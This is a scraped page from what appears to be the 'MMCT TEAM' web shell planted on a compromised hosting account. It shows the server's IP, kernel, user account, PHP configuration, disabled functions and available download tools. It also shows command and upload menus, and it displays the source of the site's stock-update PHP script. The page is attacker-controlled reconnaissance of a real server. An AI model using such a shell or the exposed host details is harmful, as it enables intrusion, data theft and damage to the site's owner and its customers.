MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/invoice/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/invoice/update_stock.php
<?php
include 'db.php';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $pid = $_POST['pid'] ?? '';
    $pack = $_POST['packname'] ?? '';
    $newQty = $_POST['quan'] ?? '';

    if (!empty($pid) && !empty($pack) && is_numeric($newQty)) {
        // Sanitize inputs
        $pid = (int)$pid;
        $pack = mysqli_real_escape_string($con, $pack);
        $newQty = (int)$newQty;

        // -------- STOCK TABLE --------
        $checkStock = "SELECT totalqty FROM stock WHERE pid = '$pid' AND pack = '$pack'";
        $resultStock = mysqli_query($con, $checkStock);

        if (mysqli_num_rows($resultStock) > 0) {
            // Exists -> Update
            $row = mysqli_fetch_assoc($resultStock);
            $existingQty = $row['totalqty'];
            $updatedQty = $existingQty + $newQty;

            $updateStock = "UPDATE stock SET totalqty = '$updatedQty' WHERE pid = '$pid' AND pack = '$pack'";
            mysqli_query($con, $updateStock);
        } else {
            echo "Stock not found to update.<br>";
        }

        // -------- VARIATION_MULTI TABLE --------
        $checkVar = "SELECT qty FROM variation_multi WHERE pid = '$pid' AND value1 = '$pack'";
        $resultVar = mysqli_query($con, $checkVar);

        if (mysqli_num_rows($resultVar) > 0) {
            $rowVar = mysqli_fetch_assoc($resultVar);
            $existingVarQty = $rowVar['qty'];
            $updatedVarQty = $existingVarQty + $newQty;

            $updateVar = "UPDATE variation_multi SET qty = '$updatedVarQty' WHERE pid = '$pid' AND value1 = '$pack'";
            mysqli_query($con, $updateVar);
        } else {
            echo "Variation not found to update.<br>";
        }

        mysqli_close($con);
    } else {
        echo "Please enter valid PID, Pack name, and Quantity.";
    }
} else {
    echo "Invalid request.";
}
?>

MMCT - 2023